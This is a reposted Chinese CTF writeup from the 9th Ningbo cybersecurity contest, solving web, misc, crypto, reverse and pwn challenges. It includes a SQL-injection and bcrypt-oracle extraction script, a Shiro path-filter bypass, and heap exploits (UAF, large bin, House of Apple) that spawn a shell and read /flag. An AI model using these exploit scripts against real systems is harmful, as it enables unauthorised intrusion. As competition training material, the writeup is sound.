文章总结: 该文档是第九届宁波市网络安全大赛初赛的Writeup,涵盖Web、Misc和DataSecurity赛题。Web1利用bcrypt的72字节限制进行字符推断;Web3通过正则匹配绕过Shiro过滤器。Misc1涉及PNG残留数据和时间戳分析;Misc2通过XBOX手柄按键掩码提取二进制数据。DS部分涉及HTTP分片流量解密。核心结论是CTF解题需关注技术细节和逻辑漏洞。 综合评分: 86 文章分类: CTF,WEB安全,渗透测试,漏洞分析,安全工具
第九届宁波市网络安全大赛初赛 Writeup
原创
N1bbl3 安全团队 N1bbl3 安全团队
N1bbl3
2026年8月17日 21:02 中国香港
在小说阅读器读本章
去阅读
WEB
Web1
登录接口存在用户名参数注入点。通过 UNION SELECT 可以控制查询结果,密码错误页面还会原样回显服务端计算出的 bcrypt 字符串。该回显并不适合用于传统暴力破解,因为 bcrypt 的计算成本较高。
继续看服务端逻辑,实际参与计算的是:
crypt(用户输入的密码 + flag, bcrypt_salt)
PHP 的 bcrypt 实现只取输入的前 72 个字节。于是可以把前面用 a 填满,只让 flag 的一个新字符落在第 72 字节:
已知 flag[:j]
P = b"a" * (71 - j)
服务端收到 P 时,真正 hash 的内容 = P + flag[:j+1]
服务端返回的是带 salt 的完整 bcrypt 字符串。salt 固定以后,本地只需要把候选字符拼到 P + 已知前缀 后面,逐个调用同一份 bcrypt,比较结果是否相同。相同就说明这个字符对上了。
该利用的关键不是破解 bcrypt,而是将回显的 hash 转换为等值判断 oracle。脚本骨架如下,候选集可根据 flag 的字符范围进一步缩小:
import bcrypt
import re
import string
import requests
BASE = "http://45.40.247.139:32712/"
SALT_TEXT = "$2a$10$77b438009c258a4cb0215c98a19cfb61$"
SALT = b"$2a$10$77b438009c258a4cb0215O"
UNION = "' UNION SELECT 'a','b'-- "
CHARSET = string.ascii_letters + string.digits + string.punctuation
session = requests.Session()
def ask(password):
r = session.post(BASE + "?salt=" + SALT_TEXT,
data={"username": UNION, "password": password},
timeout=30)
m = re.search(r"你的登陆密码错误:(\S+)", r.text)
if not m:
raise RuntimeError(r.text[:200])
return m.group(1)
prefix = b""
for j in range(72):
pad = b"a" * (71 - j)
reference = ask(pad.decode())
for ch in CHARSET:
probe = pad + prefix + ch.encode()
if bcrypt.hashpw(probe, SALT).decode() == reference:
prefix += ch.encode()
print(prefix.decode())
break
else:
# 一个字符都对不上,通常就是 flag 已经结束
break
Web3
附件为 Java 17 fat JAR。依赖版本如下,可据此确定后续分析方向:
| 组件 | 版本 | | — | — | | Spring Boot | 2.7.0 | | Spring Framework | 5.3.20 | | Tomcat | 9.0.63 | | Apache Shiro | 1.9.0 | | Commons Collections | 3.2.2 | | Commons BeanUtils | 1.9.4 |
DemoController 有 /permit/{value},MyFilter 要求请求头中存在 Token: FAKE_TOKEN。正常路径会被下面这条规则拦住:
/permit/.* -> myFilter
题目没有用 Shiro 默认的 Ant matcher,而是换成了 RegExPatternMatcher。1.9.0 的匹配本质上就是:
Pattern.compile(pattern).matcher(source).matches();
Java 正则的 . 默认不吃换行。Shiro 在做匹配前又会进行 URL decode,于是:
/permit/a%0ab -> /permit/a\nb
/permit/.* 不能覆盖中间的 \n,filter chain 没有命中;但 Spring MVC 仍然可以把它当作 {value} 交给控制器。请求不需要 Token:
GET /permit/a%0ab HTTP/1.1
Host: 45.40.247.139:24615
得到:
DASCTF{anEasy_CVE_Test}
普通的 /permit/abc 则会返回 access denied,所以这不是控制器本身的鉴权绕过,而是两套路径匹配规则的语义不一致。Shiro 1.9.1 已经改成带 DOTALL 语义的正则编译,官方说明见:https://shiro.apache.org/blog/2022/06/28/apache-shiro-191-released.html。
此外,rememberMe 反序列化并非本题路径:本地配置没有指定 cipher key,AbstractRememberMeManager 会为进程随机生成 AES key,远程无法稳定复现;分号、双斜杠和 .. 等路径变体又会先被 Tomcat 规范化,均不能形成有效绕过。
MISC
Misc1
附件解出来是:
Happy Adventure.zip
├── Adventure.zip # 有密码
└── First Challenge.png
完整利用链如下:
裁剪 PNG 的残留数据 -> Adventure.zip 密码
PNG IEND 后的尾随文本 -> Base64 清洗提示
解出的图片 -> Unix 时间
RAR 文件创建时间 -> flag
1)aCropalypse 残留
First Challenge.png 的 IEND 后存在大量数据,符合裁剪工具未截断旧文件的 aCropalypse 特征。CVE-2023-21036、CVE-2023-28303 均属于同类问题:旧图像的 Deflate 流残留在文件末尾。
残留并非从 Deflate 的字节边界开始,因此需要同时枚举字节偏移和 bit 偏移,并为解压器提供 32 KiB 的滑动窗口。恢复结果为:
recovered deflate bytes: 508242
skip=3294 shift=6 -> 14535019 raw bytes
把 raw 扫描线按 PNG filter 逆变换,再尝试常见屏幕宽度。2560 宽的图能正常看出:
密钥即为 CVE 编号
所以第一层密码就是:
CVE-2023-28303
2)IEND 后的字符串
Adventure.zip 解开后包含 Readme.txt、Secret time.zip、whatsthis.txt、wow.png。使用 OpenCV 读取 wow.png 中的二维码,得到的是干扰项:
Sorry,TimeKey has been hiden by me ,and you never get it!!! ---Vicious Alpha.ext
真正有用的是 wow.png 的 IEND 尾随数据:
why you find it?
Zss010C3 is the obstacle
whatsthis.txt 看着像 PNG 的 Base64,但字符串 Zss010C3 重复了 8 次,开头还缺 iVBORw0K。删掉污染片段、补回前缀即可:
import base64
s = open("whatsthis.txt", encoding="utf-8").read().strip()
assert s.count("Zss010C3") == 8
png = base64.b64decode("iVBORw0K" + s.replace("Zss010C3", ""))
open("whatsthis_clean.png", "wb").write(png)
图片上写的是:
NOOOOOO!!!!
YOU FIND TimeKey
2144483000
于是第二层压缩包:
7z x 'Secret time.zip' -p2144483000
3)时间差转字符
里面的 日志0.txt 到 日志20.txt 内容都像普通 Apache 日志,异常点是创建时间被统一放在 2037 年附近。2144483000 转成本地时间是 2037-12-15 17:43:20。每个文件的创建时间减去这个基准,得到的秒数正好落在 ASCII 范围,按文件编号排序后是:
{W0w!_Y0u_F1nD_M4!!!}
补上题目约定的前缀:
DASCTF{W0w!_Y0u_F1nD_M4!!!}
Misc2
XBOX.pcapng 一共有 3862 个 USBPcap 包。先按报告长度和固定字段筛选:
len(data) == 45
data[27] == 0x20
data[30] == 0x0e
再看 data[31:33],这是小端按键掩码:A 键为 0x10,B 键为 0x20。长按时同一个报告会重复发送,所以只在掩码从 0 变成 A/B 的瞬间取一次,A 记 0,B 记 1。最后得到 320 bit,也就是 40 个字节:
from scapy.all import PcapNgReader
bits, old = [], 0
for pkt in PcapNgReader("XBOX.pcapng"):
data = bytes(pkt)
if len(data) != 45 or data[27] != 0x20 or data[30] != 0x0e:
continue
mask = int.from_bytes(data[31:33], "little")
if old == 0:
if mask == 0x10:
bits.append("0")
elif mask == 0x20:
bits.append("1")
old = mask
stream = "".join(bits)
assert len(stream) == 320
print("".join(chr(int(stream[i:i+8], 2))
for i in range(0, len(stream), 8)))
DASCTF{67f69ab190f061c8b475406e9a9c874e}
DATA SECURITY
DS:HTTP 分片流量中的加密员工数据
如果直接对单个 TCP 数据包进行 Base64 解码,会受到 TCP 分片和重传的影响。题目提供 data.pcapng 与字段规范,目标是按 userid 合并记录,最终仅保留以下六个字段均完整的数据:
userid, username, name, phone, idcard, email
请求里的 pass 固定为 16 字节,例如:
GET /api/profile?pass=BnJVnu.QCHhovMoo HTTP/1.1
样本验证得到的解密顺序为:
Base64 -> AES-128-ECB(key=pass) -> PKCS#7 去填充 -> JSON
重组时按客户端/服务端四元组分开,按 TCP sequence 排序,并丢掉已经覆盖过的字节。核心代码如下:
from collections import defaultdict
import base64, csv, json, re
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7
from scapy.all import IP, TCP, Raw, rdpcap
FIELDS = ["userid", "username", "name", "phone", "idcard", "email"]
flows = defaultdict(lambda: {"req": [], "resp": []})
for p in rdpcap("data.pcapng"):
if IP not in p or TCP not in p or Raw not in p:
continue
if p[TCP].dport == 80:
key = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
flows[key]["req"].append((p[TCP].seq, bytes(p[Raw].load)))
elif p[TCP].sport == 80:
key = (p[IP].dst, p[TCP].dport, p[IP].src, p[TCP].sport)
flows[key]["resp"].append((p[TCP].seq, bytes(p[Raw].load)))
def join(parts):
out, end = bytearray(), None
for seq, chunk in sorted(parts):
if end is None:
out.extend(chunk); end = seq + len(chunk); continue
if seq + len(chunk) > end:
out.extend(chunk[max(0, end-seq):])
end = seq + len(chunk)
return bytes(out)
def decode(passwd, response):
_, sep, body = response.partition(b"\r\n\r\n")
if not sep:
raise ValueError("HTTP body incomplete")
raw = base64.b64decode(body, validate=True)
dec = Cipher(algorithms.AES(passwd), modes.ECB()).decryptor()
padded = dec.update(raw) + dec.finalize()
unpad = PKCS7(128).unpadder()
plain = unpad.update(padded) + unpad.finalize()
return json.loads(plain.decode())
merged = {}
for flow in flows.values():
req, resp = join(flow["req"]), join(flow["resp"])
m = re.search(rb"GET /api/[^? ]+\?pass=([^ ]+) HTTP/1\.[01]", req)
if not m:
continue
row = decode(m.group(1), resp)
merged.setdefault(row["userid"], {}).update(row)
rows = [r for r in merged.values()
if all(r.get(k) not in (None, "") for k in FIELDS)]
rows.sort(key=lambda r: int(r["userid"]))
with open("result.csv", "w", encoding="utf-8", newline="") as f:
w = csv.DictWriter(f, fieldnames=FIELDS, lineterminator="\n")
w.writeheader(); w.writerows(rows)
统计结果是 5332 条响应成功解密,合并出 3000 个唯一 userid,其中 1950 条字段完整,1050 个因为缺字段被丢掉。生成文件的 SHA-256:
0d36313ec2cd51fa82790b98d66b4f774ad8995952d7249b0337f881c4975067
CRYPTO
Crypto1
两个密文共用 n 和 e=17,而且明文满足:
m1 = m
m2 = a*m + b (mod n)
于是 m 同时是下面两个多项式的根:
f1(x) = x^17 - c1
f2(x) = (a*x+b)^17 - c2
正常情况下两式的最大公因式应为一次式 u*x+v,从而可以计算 m = -v/u mod n。该过程不依赖 Sage,使用模 n 的多项式除法即可完成;每次消元时需要对首项系数求逆。
from Crypto.Util.number import inverse, long_to_bytes
def trim(p, n):
while p and p[-1] % n == 0:
p.pop()
return [x % n for x in p]
def pmul(a, b, n):
r = [0] * (len(a) + len(b) - 1)
for i, x in enumerate(a):
for j, y in enumerate(b):
r[i+j] = (r[i+j] + x*y) % n
return trim(r, n)
def pdiv(a, b, n):
a, b = trim(a[:], n), trim(b[:], n)
inv = inverse(b[-1], n)
q = [0] * max(1, len(a)-len(b)+1)
while len(a) >= len(b):
d = len(a)-len(b)
k = a[-1] * inv % n
q[d] = k
for i, x in enumerate(b):
a[d+i] = (a[d+i] - k*x) % n
a = trim(a, n)
return trim(q, n), a
# f = x^e-c1,g = (a*x+b)^e-c2
f = [(-c1) % n] + [0] * (e-1) + [1]
g = [1]
for _ in range(e):
g = pmul(g, [b, a], n)
g[0] = (g[0] - c2) % n
while g:
_, f = pdiv(f, g, n)
f, g = g, f
assert len(f) == 2
m = (-f[0] * inverse(f[1], n)) % n
print(long_to_bytes(m).decode())
DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}
Crypto2
题面给的函数是:
F(y) = Σ(i*y^i), i=0..63
对于每组 (e,c),构造 Res_y(F(y)-c, y^e-X)。具体实现时,在商环 (Z/nZ)[y]/(F(y)-c) 中将“乘以 y^e”表示为 63 阶矩阵,再计算该矩阵的特征多项式。所得特征多项式即为关于 X 的 resultant 关系式。
两组关系式分别求 monic gcd,最后会退化成一次式,根就是原始明文。用 python-flint 的写法大致如下:
from flint import fmpz_mod_ctx, fmpz_mod_mat, fmpz_mod_poly_ctx
from Crypto.Util.number import long_to_bytes
R = fmpz_mod_poly_ctx(n)
y = R.gen()
F = sum(i * y**i for i in range(64))
def relation(e, c):
mod = (F-c) * pow(63, -1, n)
power = pow(y, e, mod)
cols = []
for j in range(63):
q = (power * y**j) % mod
cols.append([int(q[i]) for i in range(63)])
mat = fmpz_mod_mat([[cols[j][i] for j in range(63)]
for i in range(63)], fmpz_mod_ctx(n))
return mat.charpoly()
def mgcd(a, b):
while b:
a, b = b, a % b
return a * pow(int(a[a.degree()]), -1, n)
g = mgcd(relation(e1, c1), relation(e2, c2))
m = (-int(g[0]) * pow(int(g[1]), -1, n)) % n
print(long_to_bytes(m).decode())
DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}
REVERSE
Reverse1
附件为 Unity Windows 游戏。GameAssembly.dll、global-metadata.dat、il2cpp_data 的组合表明程序使用 IL2CPP。C# 逻辑虽然被 AOT 编译为 native 代码,但类名、字段和默认值仍保留在 metadata 中。
先检查头:
import struct
data = open("global-metadata.dat", "rb").read()
print(struct.unpack_from("<iI", data, 0))
# (-89056337, 29) -> 0xFAB11BAF / v29
需要注意的是,v29 的 Il2CppMethodDefinition 为 32 字节,而不是旧版本中常见的 36 字节;Il2CppTypeDefinition 按 88 字节解析。结合字符串表和 image 的 type 范围校验后,Assembly-CSharp.dll 对应的 type index 为 3729..3802。
在 QRCodeGenerator 里能看到 qrCodeData、GenerateQRCode、CreateCube、CalculateStartPosition,说明二维码点阵就在附近。<PrivateImplementationDetails> 下有三个静态数组候选:3364、2637、1513 字节。只有 3364 字节的那块只包含 0/1:
3364 / 4 = 841 = 29 * 29
由此确定为 Version 3 二维码。根据默认值表的 dataIndex=76272 取出 841 个 int32,按行主序绘制为 29×29 矩阵并添加四格 quiet zone,OpenCV 和 pyzbar 均可读取出相同 flag。再使用 qrcode 按 Version 3、纠错 L、mask 2 重新编码并逐格比较,diff 为 0,排除了误读的可能。
DASCTF{e45e144f-fe2a-4d49-9f3f-1af4f9df0244}
Reverse2
核心逻辑可以压缩成三行:
key = input.Substring(7, 4)
index[i] = Random(2024).Next(256) % 4
cipher[i] = input[i] ^ key[index[i]]
目标密文在程序里,flag 前缀 DASCTF{ 已知。先用前 7 个明文字节反推出对应 key 槽位,剩下的槽位枚举可打印 ASCII,再检查:
明文以 DASCTF{ 开头、以 } 结尾
明文第 7..10 字节等于 key
全部字节可打印
该题必须实现旧版 .NET 的 subtractive System.Random,Python 的 Mersenne Twister 生成序列与其不同。附件 SHA-256 为:
7e6ad67f77edc0be18910ed102b607db0bd5060ef2265587ea7676e41526611d
枚举完成后得到:
DASCTF{QDxz77WHtRIZxVbVPIriyvoT4xWCs1esZaEddSGldPjn5b4Wt6LMpt2t}
PWN
Pwn1
程序开启 PIE、Full RELRO、Canary、NX、SHSTK、IBT,运行环境为 glibc 2.35。菜单包含 Add/Delete/Edit/Show,但 Delete 后未清空指针,因此存在 UAF。
泄漏
申请四个 0x500 chunk,释放 0 和 2,使其进入 unsorted bin。show(0) 可读取 main_arena+0x60,由此计算 libc;show(2) 的 fd 指向 chunk0,可反推出 heap。需要保留一个 guard chunk,避免 chunk 与 top 合并影响泄漏。
Large Bin
先准备一个实际 chunk size 为 0x520 的大块 p1,让它落进 large bin;再把同尺寸附近的 p2 留在 unsorted。UAF 改写:
p1->bk_nextsize = _IO_list_all - 0x20
下一次申请触发 unsorted 到 large 的插入时,glibc 会沿 nextsize 链写指针,最终把 _IO_list_all 改成 p2。
本题环境偏移:
main_arena = 0x21ac80
_IO_list_all = 0x21b680
_IO_wfile_jumps = 0x2170c0
setcontext+61 = 0x53a1d
House of Apple 2
在 p2 中伪造 _IO_FILE、_IO_wide_data 和宽字符 vtable,把 __doallocate 指向 setcontext+61。满足 flush 条件后,_IO_wfile_overflow -> _IO_wdoallocbuf 会切换到 heap 上的 ROP 栈,执行:
open("/flag", 0)
read(fd, buf, 0x100)
write(1, buf, 0x100)
触发方式为提交越界索引 99。程序报错后调用 exit(0),进入 _IO_cleanup,从而触发伪造的 FILE。
远程回显:
libc = 0x7f9b50c28000 heap = 0x5584b307c290
DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}
该题 EXP 的关键布局如下,完整脚本中将各地址替换为 libc_base + offset 即可:
fake_file[0x90:0x98] = p64(fake_wide_data)
fake_file[0xc8:0xd0] = p64(libc + 0x2170c0)
fake_wide_data[0x90:0x98] = p64(heap_rop)
fake_wide_data[0xd0:0xd8] = p64(fake_vtable)
fake_vtable[0x58:0x60] = p64(libc + 0x53a1d)
Pwn2
vvmm 是自定义字节码解释器,宿主栈并没有需要利用的溢出。真正危险的是 VM 自带的 syscall:
| 指令 | 能力 |
| — | — |
| 0x33 | read/write/exit/malloc/free ,缓冲区是 R1 绝对地址 |
| 0x35 | 同样的 syscall,但缓冲区为 mem + R1 |
| R6 | VM 栈指针,本质上是一个 heap 地址 |
| malloc | 返回的 chunk 指针写入 SP+0x1010 数组 |
先用 mov_sp_reg 把 R6 拆成两个 32 位数写出,得到 SP。然后 malloc 两个 0x500,从 SP+0x1010 取第一块地址,free 掉它,再读取块头的 unsorted fd,算出 libc:
SP = 0x5585613fa2a0
chunk = 0x5585613fdf80
unsorted fd = 0x7fbc6392bce0
libc_base = 0x7fbc63711000
后续仍然使用 House of Apple,但不需要 large bin。直接在 fp = SP+0x100 伪造 FILE:
fp+0x00 = " sh\0"
fp+0x28 = 1
fp+0xa0 = fp+0xe0
fp+0xd8 = libc + _IO_wfile_jumps
fp+0x1c0 = fp+0x200
fp+0x268 = libc + system
_IO_list_all = fp
VM 的 exit(0) 会进入 _IO_flush_all_lockp,随后通过宽字符 vtable 调用 system(" sh")。获得 shell 后发送 cat /flag 即可。
自动化脚本不应直接调用 io.interactive()。在非终端环境中会立即向 shell 提供 EOF,导致 shell 在后续命令发送前退出。应等待几十到几百毫秒后调用 sendline(),再循环接收输出:
time.sleep(0.3)
io.sendline(b"echo PWNED; cat /flag; cat flag; ls -la")
io.settimeout(3)
out = b""
while True:
try:
part = io.recv(4096)
if not part:
break
out += part
except EOFError:
break
print(out.decode("latin-1", errors="replace"))
输出:
PWNED
DASCTF{71303455166142814175252139880040}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:N1bbl3 N1bbl3 安全团队 N1bbl3 安全团队《第九届宁波市网络安全大赛初赛 Writeup》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论